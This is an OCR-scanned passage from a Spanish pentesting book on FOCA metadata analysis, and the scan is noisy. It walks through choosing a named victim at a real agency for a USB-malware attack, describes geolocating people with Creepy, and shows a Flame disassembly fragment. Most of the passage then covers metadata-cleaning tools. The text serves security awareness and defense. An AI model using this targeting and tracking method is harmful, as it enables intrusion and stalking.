descargados por FOCA sea analizada de forma eficiente consiste en analizar los metadatos obtenidos
con el fin ultimo de poder pintar parte de la red de la organizacion de la que se han descargado los
archivos.

Esta operacion se hace seleccionando la opcion “Analize Metadata™ que se encuentra en el menu
contextual del panel de documentos o directamente desde el nodo Metadata en el arbol del panel de
la izquierda de la herramienta.

Con esa opcién FOCA va a unir toda la informacion disponible que se ha obtenido tratando de
reconocer qué documentos han sido creados desde el mismo equipo y qué servidores y clientes se
pueden inferir de ellos.
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Tmagen 02.20: Analisis de metadatos.

La forma en la que FOCA trabaja es sencilla. Primero creard un nodo - equipo de la red interna - por
cada documento descargado. Después, mirando las propiedades que tienen los documentos en los
metadatos, tratara de reconocer cuando los metadatos son lo suficientemente iguales para que se
pueda inferir que ambos fueron creados desde el mismo equipo. Algunas veces se podra comprobar
como en el mismo equipo hay diferentes versiones de soffware, lo que implica que el equipo ha sido
actualizado.

Tras realizar este analisis FOCA muestra nueva informacion en la seccion de clientes de la red,
creando una entrada para equipo descubierto, donde podemos ver su Sistema Operativo, los usuarios
que han podido descubrirse y los documentos que se han utilizado para inferir esta informacion.
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Imagen 02.21: Clientes de la red.

Sihubieran sido descubiertos servidores, no es el caso de la imagen superior, aparecerian directamente
bajo el nodo Servers del 4rbol de Network que se puede ver. Ademas, si se hubieran descubierto
direcciones /P también aparecerian como nodos. Sobre los servidores, ya tengan direccién /P o sean
“Unlocate Servers™ - servidores sin direccion [P ni Fully Qualyfied Domanin Name -, se podran
lanzar una serie de herramientas desde el botén derecho del ratén para analizarlos, como escaneos
de segmentos de red, o utilidades de fingerprinting

Preparando un ataque dirigido con FOCA

Con el objetivo de mostrar el tipo de acciones que un atacante podria llevar a cabo con la informacién
que FOCA obtiene al analizar los metadatos de los ficheros publicados en un dominio objetivo, se va
a tomar como ejemplo el mayor incidente de seguridad sufrido por el Pentdgono, que se produjo al
insertar un pendrive en un portatil de uno de sus trabajadores mientras se encontraba en una misién
en Oriente Proximo. Este pendrive contenia un c6digo malicioso que se propagé sin ser detectado
y que fue capaz de transferir datos sobre planes de operaciones del gobierno de Estados Unidos a
redes extranjeras.
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Pentagon breached by foreign hacker

A foreign spy agency carried out the most serious “cyber aftack” on the US military's
networks when a tainted flash drive was inserted into a laptop in the Middie East,
according to a senior Pentagon official

By Alex Spillius, Washington share  E3ES S
Published: 9:43PM BST 26 Aug 2010

———
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Imagen 02.22: Noticia sobre el ataque sufrido por el Pentagono.

Viendo este tipo de ataques, la pregunta que puede venir a la mente de cualquier es: *“;Resultaria
muy complicado para un atacante utilizar el anélisis de metadatos de FOCA para preparar un ataque
de estas caracteristicas?”

Como vamos a ver en este ¢aso, esto no seria excesivamente complejo. El objetivo del ataque seria
darle un pendrive con una pieza de malware a un usuario concreto que ha sido previamente estudiado
con la esperanza de que una vez que lo tenga en su poder lo conecte a su equipo de trabajo dentro
de la organizacion.

La situacion ideal seria que este usuario tuviera un sistema operativo que estuviera lo menos
protegido posible contra los ataques basados en esquemas de autorun en pendrives o que tuviera un
sistema con una debilidad conocida previamente por el equipo atacante. Ademas, seria interesante
que este usuario tuviera acceso a servidores internos de la organizacion a donde se pudiera copiar el
malware preparado y que desde ese servidor controlado se pudiera infectar al resto de usuarios de la
organizacion. Un esquema clasico de 4PT basado en pendrive.
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2. El malware se
copia en las carpetas
compartidas
esperando infectar
otros ordenadores

1. El usuario objetivo
inserta el pendrive y el
malware se copia en
todas las carpetas
compartidas

B e

3. Los equipos que acceden a
estas carpetas compartidas son
infectados y el malware se
copia en nuevas carpetas
compartidas

Imagen 02.23: Esquema de funcionamiento del ataque dirigido.

Por supuesto, para la realizacion de cualquier ataque que se realiza desde fuera de la organizacion,
cuantos mas datos pudieran obtenerse de los equipos internos, de la estructura de la red, o la politica
de gestion de sistemas y/o seguridad del objetivo, mejor se podria preparar el malware a medida. Y
como vamos a ver, un atacante podria utilizar FOCA para conseguir esta informacién.

En esta parte vamos a dejar fuera la deteccion del software antimalware utilizado por la empresa
objetivo, pero utilizando las técnicas de DNS Cache Snooping que se veran mas adelante, seria
posible realizar también ese trabajo.

En siguiente ejemplo se muestra un caso con datos reales extraidos de un determinado dominio,
en concreto de la Missile Defense Agencia (www.mda.mil) en el que se pretende demostrar como
preparar un ataque dirigido de estas caracteristicas. Para elegir el objetivo se buscaria un usuario con
un Sistema operativo Windows XP que tenga acceso a servidores para copiar el malware que se va a
crear. Analizando los metadatos de solo 125 archivos con FOCA, es posible dibujar una seccion del
mapa de la red. La persona de la imagen 02.24 parece un buen objetivo, ya que tiene acceso a dos
servidores distintos y se dispone de su nombre y apellidos, por lo que su ubicacién fisica resultaria
mas sencilla.
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Imagen 02.24: Usuario objetivo con acceso a recursos compartidos.

Ademas, los servidores a los que el usuario tiene acceso parecen bastante interesantes, pues, tal
y como puede observarse en la figura 02.25, se sabe que acceden a ellos muchos usuarios y se
comparten bastantes carpetas, por lo que hay muchos sitios donde copiar el malware sin llamar
demasiado la atencion.
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Imagen 02.25: Carpetas compartidas en un servidor y usuarios con acceso al mismo.
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En este caso no importa si los servidores son internos y no tenemos acceso a ellos desde fuera.
Tampoco importa mucho si no se tiene la direccién /P o si no se dispone de su nombre de dominio
DNS.

El equipo del usuario que sera infectado esta dentro de la red y se puede conectar por su nombre
NETBios a las carpetas compartidas de los servidores, asi que es suficiente con que el usuario esté
trabajando en ese equipo para que, si ha conectado el pendrive al equipo en algiin momento, el
ataque tenga éxito.

Toda esa informacion, como se puede ver, leyendo documentos pablicos de una organizacion y sin
realizar ningin acto que pudiera ser considerado ilegal en la toma de informacioén.

3.Riesgos asociados a una mala gestion de los
metadatos

Tras analizar en el capitulo anterior los metadatos, datos perdidos e informacién oculta que es
posible localizar en diferentes tipos de ficheros, y estudiar en este capitulo la informacion que FOCA
es capaz de extraer de ellos y como automatizar estas tareas, se puede concluir que son varios, y
muy importantes, los riesgos a los que una organizacion podria enfrentarse al no realizar una gestion
adecuada de los metadatos.

Una lista de los riesgos de seguridad de los metadatos a tener en cuenta seria:

- Es posible encontrar relaciones ocultas entre compafiias o personas, como en el caso de
la ministra de cultura espafiola que trabajaba en la sociedad DA4MA, sociedad que publico en
su web documentos que se habian redactado con una licencia de la SGAE, mostrando la clara
relacion entre ambas entidades.

- Se pueden detectar casos de pirateria de software, al descubrir que un documento de una
empresa se ha generado con un sofiware del que no ha adquirido la licencia.

- Puede estudiarse la historia de los documentos, viendo cuando y quién ha realizado
modificaciones, como en el caso de Toni Blair y ¢l documento de las armas de destruccién
masiva en Irak.

- Puede localizarse informacion tictica para estudiar posibles objetivos de ataques y
adquirir conocimiento interno de una compafiia, como se ha mostrado con el ejemplo del
ataque dirigido al Pentdgono.

- Y se pueden trazar eventos, posicionandolos tanto en tiempo como en espacio, como
ocurrid en varios de los ejemplos de casos forenses estudiados en la primera seccién del
capitulo. En esta misma linea se va a analizar a continuacioén el funcionamiento de dos
aplicaciones web muy interesantes que hacen uso de los metadatos con el fin de localizar y
posicionar a personas, como son Creepy y Stolen Camara Finder.
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Creepy

El objetivo de la aplicacién Creepy’ es demostrar lo facil que resulta seguir los pasos de una persona
que tenga una exposicion social descuidada en Twitter.

La idea es tan sencilla como recoger la informacion de posicionamiento que se puede sacar de
los tweets o fotos que publica un usuvario. En el caso de Twitfer, es posible extraer informacion de
posicionamiento de tweets con:

- Informacién GPS cuando se hace desde determinados clientes para teléfonos moviles.
- Tweets asociados a una ubicacion.

- Triangulacion basada en la /P desde la que se hizo el rweet.

Ademas, al estilo de la aplicaciéon web Please Rob Me® (que permite conocer en tiempo real todas
aquellas casas que se han quedado vacias porque sus propietarios se han ido y han tuiteado que estan
en otro lugar usando la web FourSquare.com), Creepy recoge la informacion GPS de los nweets
que vienen desde Four Square y de los metadatos EXIF de las fotos publicadas en los servicios
de publicacion de: Flickr, twitpic, yfrog, img.ly, plixi, twitrpix, foleext, shozu, pickhur, moby.to,
twitsnaps y twitgoo.

La herramienta permite buscar y seleccionar una cuenta de Twifer o Flickr y después extraer toda
la informacion GPS'y de fechas que se pueda desde esas cuentas, para generar una base de datos de
visualizacion de coordenadas por fechas que ademas puede ser exportada en formato CSV o KMZ.
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Imagen 02.26: Cregpy analizando la informacion GPS de las fotos de una persona.

5 HTTFPS://github.com/ilektrojohn/Creepy
6 HTTP://pleaserobme.com/
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Creepy, en principio, solo saca informacion que el usuario libremente ha puesto en Internet, y que,
al generar un fichero CSV o KMZ, puede ser complementada con otras fuentes de informacion
que se consigan del objetivo para completar una buena historia de un usuario. Hay que tener en
cuenta que el registro de posicionamiento GPS se hace con otros servicios, como el Google Latitude
que algunos publican en su blog, las Geotags que usan algunos bloggers para publicar sus posts,
Facebook Places o cualquier otro repositorio de fotografias que esté utilizando ese usuario.

Stolen Camara Finder

Stolen Camara Finder" es un servicio web que se usa para descubrir a los ladrones de camaras
digitales por medio de los metadatos que llevan las fotografias tomadas por estas cAmaras y acaban
publicadas en Internet, ya sea en Twitter, Facebook, Instagram, Pinterest, Flickr o cualquier otra
red social.

Como ya sabemos, las fotografias digitales utilizan el formato EXIF para guardar mefainformacion,
y entre otros datos almacenan la marca, el modelo y el nimero de serie de la camara con la que se
tomo la fotografia. El lector puede comprobar como Flickr publica las imagenes compartidas por
sus usuarios sin eliminar los metadatos, que estan accesibles para cualquiera que descargue una
fotografia.

Cuando alguien ha perdido su cdmara fotografica y sospecha que ha podido ser robada, el servicio
Stolen Camara Finder trata de encontrar fotos tomadas por su camara en otras ubicaciones de
Internet, para lo que el afectado puede arrastrar una fotografia al buscador o introducir el nimero de
serie manualmente.
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Imagen 02.27: Informacién de la camara fotografica en los metadatos EXIF de una foto.

En la version gratuita tan sélo es posible buscar una camara por los campos de namero de serie, pero
en la version PRO se pueden localizar las camaras por campos mas especificos, como el niimero de
serie de las lentes o los valores personalizados en los campos Copyright o Creator.

T HTTP:/iwww.stolencamerafinder.com/
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Flame y los metadatos

The Flame, fue un malware catalogado como una nueva generacion de ciberarmas. Fue descubierto
en Mayo de 2012 y desde su descubrimiento fue llenando las portadas de los sitios de noticias
relacionadas con la seguridad informatica y también de periddicos y telediarios generalistas, ya
que se tratdé de un malware orientado a paises de Oriente Medio que, por las funcionaiidades que
incorporaba y por su nivel de especializacion y diversificacion, parecia estar dirigido a labores de
espionaje e inteligencia militar.

Sin duda se trata de un malware con un grado de sofisticacion técnica muy alto, que no se disperso
a discrecion, sino que parecia tener unos objetivos claros, ya que tan sélo fue localizado en unos
pocos miles de equipos de Oriente Medio (Iran, Israel, Palestina, Sudan, Siria, Libano, Arabia Saudi
y Egipto) y que estd considerado el causante del ataque informatico que en Abril de 2012 provocd
que los terminales de las petroleras iranies fueran desconectados de Internet.

Ademas, Flame consiguidé permanecer oculto durante al menos 5 afios®, ya que el malware estaba
firmado por Microsoft, debido a que, en algin momento, un atacante consiguid manipular un
certificado que se usaba para licencias de Terminal Server y firmar codigo con €1, lo que ha provocado
que, probablemente, los antivirus ni siquiera lo analizaran o que, por muy extrafio que resultara su
comportamiento, no se arriesgaran a clasificarlo como malware.

.text:I0UCSDES sub_IOUOCSDEB  proc near

.text:100C5DES push offset aGps_latitude ; "GPS_LATITUDE"
-text:100C5DED call decrypt_string

.text:100CS5DF2 pop acx

.text:100C5DF3 push eax

.text:100C5DF4 push offset GPS_LATITUDE

.text:100C5DF9 call [ copy_string

.text:100CSDFE push offset sub_100F32F8

.text:100C5ED3 call _atexit

-text:100C5ED8 pop ecx

.text:100CSE09 retn

.text:100CSE09 sub 100CSDES endp
Imagen 02.28: Codigo de The Flame destinado a analizar metadatos GPS de fotografias.

Flame era un malware tremendamente modular que incorporaba una multitud de plugins, con unos
20 MB de peso, lo que le permitia llevar a cabo una gran cantidad de operaciones. Uno de los
componentes mas llamativos, sin duda, era el modulo msgiu32.0cx, que se dedicaba a la recoleccion
de los metadatos de los documentos de la maquina infectada.

Este componente trabajaba de forma similar a Mefashield Forensics, herramienta que se describe
a lo largo de este libro, realizando una bisqueda por todo el sistema de ficheros del equipo para
localizar documentos de Microsoft Office, en formato PDF, Visio, AutoCAD, objetos de Microsoft
Outlook vy archivos graficos. De todos ellos el malware se dedicaba a ir recolectando los metadatos
asociados a ellos, tales como fechas de creacion y modificacion, autores de los misos, el historial del
documento, las ubicaciones GPS siempre que fuera posible, etcétera.

& HTTP:/{unaaldia.hispasec.com/2012/05/theflame-reflexiones-sobre-otra. HTML
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De los archivos graficos, el componente recolectaba informacion EX/F relativa a coordenadas GPS
para averiguar donde se habian tomado las fotografias y, con cierta probabilidad estadistica, donde
se encontraba (o se habia encontrado) el sistema atacado.

Esquema Nacional de Seguridad

Los riesgos de seguridad asociados a los meftadatos son tan grandes y tan evidentes - tanto a nivel
personal, como empresas privadas o administracion piiblica - que dentro de la normativa de obligado
cumplimiento por Administracion Publica y empresas publicas y privadas que trabajan con ella que
se cred en Espafia, el Esquema Nacional de Seguridad’, se ha dedicado un apartado especifico a la
limpieza de documentos.

Dicho reglamaento publicado en el BOE cuenta con el siguiente apartado en el que se insta a tener
una politica de seguridad asociada a los metadatos y donde se explican los riegos asociados a ellos:

Limpieza de documentos

En el proceso de limpieza de documentos, se retirara de estos toda la informacion adicional contenida
en campos ocultos, meta-datos, comentarios o revisiones anteriores, salvo cuando dicha informacion
sea pertinente para el receptor del documento.

Esta medida es especialmente relevante cuando el documento se difunde ampliamente, como ocurre
cuando se ofrece al ptiblico en un servidor web u otro tipo de repositorio de informacion.

Se tendra presente que el incumplimiento de esta medida puede perjudicar:

- Al mantenimiento de la confidencialidad de informacion que no deberia haberse revelado
al receptor del documento.

- Al mantenimiento de la confidencialidad de las fuentes u origenes de la informacion, que
no debe conocer el receptor del documento.

- Alabuenaimagen de la organizacion que difunde el documento por cuanto demuestra un
descuido en su buen hacer.

(Cuantas organizaciones han aplicado esta limpieza de metadatos? Pues no demasiadas. En
Septiembre de 2013, desde Eleven Paths, realizamos un sencillo estudio orientado a conocer cudntas
empresas participantes en el indice /BEX 35 de la bolsa de Madrid tenian sus sitios web limpios de
fugas de informacion por culpa de los metadatos.

ElIBEX 35 aglutina a las 35 empresas mas grandes de Espafia y por supuesto todas ellas deben tener
relacion - en mayor o menor medida - con la administracion publica, por lo que era de suponer que
alguna hubiera tomado alguna medida de mitigacién. Sin embargo, el resultado fue que ninguna
web presentaba los documentos limpios de metadatos y fue posible acceder al nombre de casi 3.000
usuarios solo mirando los dominios principales de las empresas citadas.

9 www.boe.es/boe/dias/2010/01/29/PDFs/BOE-A-2010-1330.PDF
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4. Eliminacion de metadatos

Tras todo lo visto hasta el momento, la gran pregunta que muchos seguro que se estan haciendo
es: (como se pueden eliminar los metadatos? En esta seccion se van a exponer diferentes técnicas,
procedimientos y herramientas que pueden utilizarse para que los documentos publicados en sitios
web u otros tipos de repositorios publicos no contengan informacion que pueda perjudicar a la
entidad productora de la informacion.

Para poner de manifiesto las ventajas e inconvenientes de los diferentes métodos disponibles, se ha
establecido una division entre las técnicas de eliminacion o edicion de metadatos que requieren de
acciones por parte de los usuarios y que, por tanto, se han catalogado como técnicas manuales, y
aquellas que, de forma automdtica, realizan los pasos necesarios para que la informacién publicada
no contenga informacion no deseada.

Eliminacion de metadatos de forma manual

Documentos Microsoft Office

La herramienta definitiva para la limpieza de documentos Microsoft Office es la opcion de
Inspeccionar un documento que se incorpora en las versiones de Microsoft Office superiores a 2007.
Esta herramienta busca toda la informacion que un documento tiene tanto en metadatos introducidos
por el usuario como informacion del documento, metadatos ocultos introducidos por el programa,
informacion de las impresoras e informacion oculta.

No importa la version del formato de archivo que se esté utilizando ni la versién de Office utilizada
para su creacion, ya que la herramienta permite al usuario eliminar toda la informacion que no se
desee incluir al distribuir el documento.

Para tener estas mismas opciones en la version de Microsoft Office 2003 es necesario descargarse
desde la web de Microsofi.com una herramienta a parte que se integrara dentro de la swite. Esta
utilidad es conocida como RHD (Remove Hidden Data) y se encarga de realizar absolutamente las
mismas funcionalidades que las que vienen de serie en paquetes ofiméticos posteriores. Hay que
decir que version tras version Microsoft mejora las opciones de las herramientas, y que las primeras
no llegan al nivel de detalle de las Gltimas.

Para acceder a esta herramienta de limpieza de metadatos en Microsoft Office 2007 se debe
seleccionar la opcion Preparar del ment de Archivo y luego la opcion de Inspeccionar documento.
En las versiones de Microsoft Office 2013 hay que ir a Informacion y alli seleccionar la opcién de
“Comprobar si hay errores”, donde se podra ver que se describe la opcion como *Inspeccionar
Documento™.

Al final, el menii la que se accede es similar al que puede verse en la Imagen 02.28 que sale en la
pagina siguiente, con opciones y resultados similares,



86 Pentesting con FOCA

- . 5
| | j Nuevo PSR L O S
B :

— N

Propiedades
tra y edita las propiedades del documento como el

aBbCeDe qu AaBbCc.

Enfasis THormal | Subtitulo

g .:'? Abrir titulo, el autor y las palabras clave.
H Guardar # Comprusba ia informacion
oauttos dei documento.

= Aty Cifvac dd Inspector de documento
i ﬂ Gyardar como P @ Aument &
| dfrado. | Revise los resultados de la mspecddn.

B opF.. s Restring 2 e : o |
!g \_-‘3 Conced g - i Y -}

para ed| No se han encontrado elementos.

Garanti] A

imi » | 1
@]mprmr g Agregal ¥ Propiedades del d s6n personal pPoReTe

| digital | Se encontrd la sigulente informacidn del documento:
- Preparar .k * Propiedades del documento
P " — Marcar *Ruta de acceso a la impresora

[ = Informal
I EE Enviar 4 ylo.con & Datos XML personalizados
i @ n Eecutal Mo se enconiraron datos XML personalizados.

S Compry | |

w‘ Publicar 3 versiond | | ¢ - 2

| ¥ Encabezados, pies de pagina y marcas de agua
- Se enc los sigu i t

| = ] * Encabezados
| o] Cerrar Los encabezados y pies de pagina puedsn induir formas come marcas de agua,

@ Texto oculto
No se enconird el texto oauto.

PR R

Imagen 02.29: Inspeccionar documento en Microsofi Office 2007.

Microsoft Office para Mac

Por el contrario, en Microsoft Office 2011 para Mac ese meni no esta disponible, y lo {inico que
existe es una opcion en las Preferencias / Seguridad de cada aplicacion - en este caso Word - para
que se eliminen los datos personales al guardar el documento.

Para probar el funcionamiento de esta opcién en Microsoft Office 2011 para Mac utilizamos el
famoso documento de Tony Blair que tantos quebraderos de cabeza le propind por culpa de los
metadatos. Se hizo una copia de este documento, y se guardd con Microsoft Office para Mac 2011
seleccionando la opcion de eliminar datos personales al guardar.

Al pasarlo por FOCA se podia observar que no todos los metadatos han sido eliminados. Entre la
lista de datos aparecia - en este caso - la plantilla que se estaba utilizando, la version de software
con que se manipul6 el documento, y la fecha de impresion original, que era anterior a la fecha de
creacion del documento dejando una muestra clara de esta manipulacion realizada.

En el caso de Microsoft Office 2011 para Mac no parece tener mucho sentido que estando esta
opeion de Inspeccionar documento de serie desde Microsoft Office 2007 para Windows, no la hayan
incorporado para solucionar el problema de raiz también en sus versiones para Mac OS X.
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Documentos OpenOffice
A pesar de que la suite ofimética OpenOlffice ofrece la opcion de

“Borrar la informacion personal

al salir”, esta opcién no elimina la informacion del sistema operativo, las impresoras, la version
del producto o la ruta de la plantilla, que puede mostrar rutas ocultas o direcciones de servidores
internos, ya que tan soélo elimina los datos introducidos por el usuario a la hora de registrar el

producto.
S . 3
le:;a?i';ii usuario Opciones de seguridad y alertas

General
Memoria
Ver
Imprimir Advertendias de sequridad
E:Erses Advertir si el documento contiene cambios grabados, versiones, informacion ocultao
Fuentes DRzas:
[SeC 0 | Al guardar o enviar & Alfirmar
Apariencia e i
Accesibilidad | Al imprimir [ Alcrear archivas PDF
Java " -

» Cargar/Guardar Opciones de seguridad

* Configuracion de idioma @ Eliminar 1a informacién personal al guardar]

»  LibreOffice Writer 2

* LibreOffice Writer/web | Becomiendar proteccion con contrasefia al guardar

* LibreOffice Base ; ; : 3

» Gréficos B Requerir Ctrl-clic para visitar hipervinculos

* Internet

Imagen 02.30: Borrar informacion personal al guardar,

Para solucionar este problema de la herramienta de limpieza de metadatos de OpenOffice, desde
Informatica64 se desarrollé una aplicacion, llamada OpenOffice MetaExtractor'’, que permite
limpiar de forma sencilla y eficaz los metadatos almacenados en cualquier fichero OpenOffice La
herramienta soporta los ficheros de las versiones OpenOffice 2.x, 3.x (*.odt *.ods *.0dg *.odp) y
OpenOffice 1.x (*.sxw), y esta pensada para extraer o sustituir la siguiente informacion:

- Aplicacion generadora del documento y Sistema operativo

- Usuarios (Creador del documento, modificador, impreso por)

- Fechas de creacion, modificacion, impresion RHD

- Titulo, asunto, descripcidn, palabras clave, estadisticas.
- Nuamero de ediciones, tiempo de edicion

- Informacion definida por el usuario

- Rutas de plantillas, Impresoras, bases de datos

- Emails, enlaces

- Versiones guardadas

10 HTTP:/{OOMetaExtractor.codeplex.com/
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Imagen 02.31: Metadatos extraidos con OOMetaExtractor.

Ademds, OOMetaExtractor permite utilizar una plantilla corporativa para la gestion de los
metadatos, de forma que se sustituyen los valores para determinados metadatos por unos previamente
establecidos por el administrador. Asi, por ejemplo, podria establecerse de antemano que todos los
documentos contuvieran en el metadato Autor el nombre de la empresa u organizacion.

O S — T TR
% Opciones para el borado de metadatos el

OpeOfics |

Seleccione los metadatos que desea bomar o editar

Tipo

Aplicacion gener

Enlaces

Imagen 02.32: Valores a sustituir en todos los documentos.
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Eliminacion de metadatos en imagenes

La mayoria de los editores de imagenes incorporan opciones de eliminacion de los metadatos que
las imagenes almacenan. En el caso del editor de imagenes Gimp, por plantear un ejemplo, basta
con mostrar las opciones avanzadas cuando se guarda un archivo, y desmarcar la opcion Guardar
los datos EXIF.

Por otra parte, también existen herramientas que permiten eliminar metadatos de varias imagenes
al mismo tiempo, como es el caso de la aplicacion MetaStripper'', con la que basta con seleccionar
un directorio para eliminar toda la meta-informacion de todas las imagenes alli almacenadas. Si lo
que se desea es modificar el contenido de determinados campos de los mefadatos de una imagen, es
posible utilizar aplicaciones como PhotoME", con las que el usuario puede elegir el valor a asignar a
los campos que quiera modificar, como el autor, por ejemplo, estableciendo los valores corporativos.

Remove:

™ ExiF

HPTC and Photoshap metadata

4 xmp

#icc

# Comment

# Detete everything after EOl marker
1 aPP14

U 1FIF header

1 all other APP markers

Verify & Correct:
# IPTC (will remove Photoshop metadata)

" Decompress image for testing
{may siow down the process a lot}

Delete
1 Delete source files after processing

{ Define Source Folder.. )} origen

{ Define Destination Folder... } destino

Maote: Using this program to process any images will completely remove
the resource fork of those images.

Imagen 02.33: SnapsCleaner, una herramienta para Mac OS X.

Ademas, existen algunas aplicaciones que se ejecutan desde la linea de comandos y que, por tanto,
podrian usarse para automatizar hasta cierto punto las tareas de limpieza y edicion de metadatos
de las imagenes, al poder incluirse en scripts de administracion, como EXIFtool" o exiv2', que,
ademads, son herramientas multiplataforma.

11 HTTP://www.photothumb.com/MetaStripper/

12 HTTP://www.photome.de

13 HTTP://www.sno.phy.queensu.ca/~phil/EXIFtool/
14 HTTP:/Iwww.exiv2.org/Download HTML
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Eliminacion de metadatos de forma automatica

Aunque todas las aplicaciones permitieran limpiar los documentos de metadatos e informacion
oculta y lo hicieran de forma precisa, depender de los usuarios para que limpien cada fichero antes
de subirlo a un servidor publico, enviarlo por correo electrénico o distribuirlo de cualquier otro
modo, es un plan poco eficiente y con pocas posibilidades de éxito.

La responsabilidad de la limpieza de los documentos no debe recaer en los usuarios, que
probablemente no estén los suficientemente concienciados, motivados, formados o concentrados
para no cometer errores ni descuidos.

Es necesario que las organizaciones establezcan mecanismos de proteccion que limpien
automaticamente los documentos antes de ser distribuidos a sus clientes, de manera que el
administrador de un sitio web pueda estar seguro de que los documentos publicados no contienen
datos no deseados.

MetaShield Protector

MetaShield Protector” es una familia de herramientas comerciales de Eleven Paths enfocadas en
evitar la fuga de informacién en documentos ofiméticos a través de su publicacién en sitios web. Para
ello, el documento ofimético antes de ser entregado ser4 limpiado en memoria por el componente,
llegando al cliente una copia totalmente limpia de metadatos e informacion oculta.

Actualmente la familia esta compuesta por las siguientes soluciones:

- MetaShield Protector for IIS: Evita las fugas de informacion por medio de metadatos en
documentos ofiméticos publicados en servidores web de Microsoft 11S.

- MetaShield Protector for SharePoint: Solucién para limpiar los metadatos de los
documentos publicados en repositorios documentales de Microsoft SharePoint Servers - en
todas sus versiones y familias -,

- MetaShield Protector for File Server /Non MS Web Servers: Funciona como un servicio
del sistema operativo que monitoriza la creacién y modificacion de cualquier fichero en
una determinada ubicacion de almacenamiento. En el caso de servidores no Microsoft, se
comparten las carpetas por red mediante SMB y la herramienta protege desde otro servidor
cualquier fuga de informacion por metadatos.

- MetaShield for Client: Es la solucion para usuarios de escritorio. Con una opcion de
boton derecha se limpian los metadatos de cualquier documento del sistema operativo. Se
explicara en el Anexo 4.

- MetaShield Forensics: Inicialmente se conocia como Forensics FOCA, pero ha sufrido
un cambio de nombre. Es una soluci6n para analistas forenses que extrae metadatos de todos
los documentos de un equipo y genera un time-line con las fechas obtenidas de ellos.

15 HTTP:/iwww.metashieldprotector.com/
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MetaShield Protector for IIS y MetaShield Protector for SharePoint

La solucién funciona como un moédulo de Intenet Information Services para Windows Server 2008
/2008 R2 / 2012 y esta totalmente integrado con la arquitectura del servidor web. Asi, cuando el
servidor web recibe la peticion de un fichero ofimatico, este sera entregado a MetaShield Protector
para que lo limpie en memoria.

Una vez que se han eliminado todos los metadatos del fichero o se han establecido unos valores
previamente establecidos por el administrador, el documento se entregara al cliente. Por tanto,
el fichero original mantiene todos sus metadatos, que pueden resultar muy dtiles para el gestor
documental interno de la compaiifa, y tan s6lo se limpia o modifica la informacién de la copia que
se entrega al cliente.

MetaShield Protector for IIS ha sido probado tanto en sitios Web donde la descarga de ficheros
se realiza mediante un enlace directo al documento como en sitios donde se encuentra instalado
Windows SharePoint Services 3.0 o Microsoft Office SharePoint Server 2007, 2010 o 2013, donde
los documentos se alojan en base de datos.

Imagen 02.34: Esquema de funcionamiento de MetaShield Protector.

MetaShield Protector for IIS y MetaShield Protector for SharePoint se instalan a nivel de servidor
web Internet Information Services y se activan o desactivan a nivel de cada sitio web alojado dentro
del servidor. Asi, su aplicacién a un determinado sitio web es tan facil como activar la opcion en
el ment contextual que aparece tras hacer clic con el boton derecho sobre cada sitio, tal y como se
puede apreciar en la figura 02.35. La desinstalacion de un sitio es exactamente el mismo proceso:
botén derecho sobre el sito, desinstalar MetaShield Protector.
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Imagen 02.35: Instalacion/Desinstalacion de MeraShield Protector en un sitio web.

Una vez configurada la proteccion para evitar la fuga de informacién por medio de los metadatos en
documentos ofimdticos de un sitio, se pueden configurar las opciones personalizadas de cada uno de
ellos. En el panel de configuracion del médulo se debe configurar, en primer lugar, un repositorio
de estadisticas. Este almacén tiene que ir sobre un motor de base de datos Microsoft SOL Server o
Microsoft SOL Server Express. Durante el proceso de instalacion del producto se puede elegir entre
utilizar un servidor existente en la empresa 0 un motor en version Express nuevo que se instalara
con el producto.

Para cada uno de los sitios se podra personalizar cuales son los formatos de documentos que han de
ser limpiados de metadatos para ese sitio. El producto permite activar la limpieza para documentos
Microsoft Office en binario - es decir, versiones desde Microsoft Office 97 a 2003, de ficheros .doc,
xls, .pps o .ppt - ficheros de versiones OOXML para Microsoft Office 2007, 2010y 2013, en formato
docx, xlsx, ppsx o pptx, ficheros en formato PDF y ficheros de OpenOffice de tipo sxw, ods, odp,
odt y odg.
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Estas opciones de configuracion por sitio permiten al administrador de un determinado sito web
realizar una administracion mucho mas granular y optimizar los tiempos de respuesta de todos y
cada uno de los sitios alojados en el mismo servidor.

La limpieza de los documentos en memoria implica, como es de esperar, un pequefio retardo en
tiempo. Este retardo sera mayor o menor en funcion del tamafio del documento y el formato.

Para que el administrador pueda conocer cuil es el uso que esta realizando el componente en cada
sitio web, se puede acceder a las estadisticas y ver cuantos documentos han sido limpiados, es
decir, cuantos documentos son aquellos en los que se ha encontrado algin metadato o informacion
confidencial, el nimero de documentos que se han descargado por tipo de fichero y el tiempo que ha
llevado de media el limpiar cada tipo de fichero. Con esta informacion se podra decidir la aplicacion
de medidas especiales, como la limpieza del archivo original para erradicar los metadatos para
siempre, o la desactivacion de la limpieza sobre determinados documentos en determinados sitios
de los que se tiene la certeza de que estan limpios.
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En la figura 02.36 se puede apreciar que en el panel de configuracion de MetaShield Protector hay
una lista de los documentos descargados cada dia. En ella se almacena el detalle de los tiempos que
han sido necesarios para limpiar cada uno de los archivos.

Observando la Figura 02.37 con detalle es posible comprobar el tiempo que ha tardado MetaShield
Protector en limpiar el documento Blair.doc, objeto de la polémica en el gobierno britdnico con el
que se abria el primer capitulo del libro: 47 milisegundos, es decir, aproximadamente la veinteava
parte de un segundo.

Accediendo a las estadisticas de cada sitio web se puede conocer el nimero total de ficheros
descargados, el nimero total de ellos que han sido limpiados y la cantidad de archivos de los que no
se han podido eliminar los meradatos ni la informacion oculta. Esto puede ocurrir porque el fichero
esta corrupto o porque el archivo estd firmado digitalmente. La limpieza de los mefadatos romperia
la firma digital y, por tanto, la herramienta no los modifica.

En la imagen 02.38 puede comprobarse cuél ha sido el tiempo medio de limpieza de los documentos:
197 milisegundos. Ese es el impacto medio que se produce sobre el tiempo de respuesta del servidor
al evitar tener una fuga de informacion.

Total downloaded files

lﬂ‘hrﬂ i Chaaned I

faul Web Sdis
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Imagen 02.37: Estadisticas de los ficheros limpiados en un sitio web.

En la figura 02.39 se muestra el tiempo medio de limpieza por tipo de documento. En este ejemplo
se puede ver que el formato docx toma mas tiempo que los formatos doc y, aunque no sirva como
benchmark o indicador, si que es cierto que los formatos ODF y OOXML, debido a que son formatos
comprimidos que deben ser descomprimidos para que puedan ser limpiados, son los que més tiempo
pueden requerir.
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Imagen 02.38: Tiempo medio de limpieza por tipo de fichero.

MetaShield Protector permite, ademas, crear una politica de imagen corporativa asociada a los
ficheros publicados. De esta forma, en lugar de eliminar los metadatos y la informacion oculta, es
posible crear una politica en la que el administrador puede elegir el valor a incluir en determinados
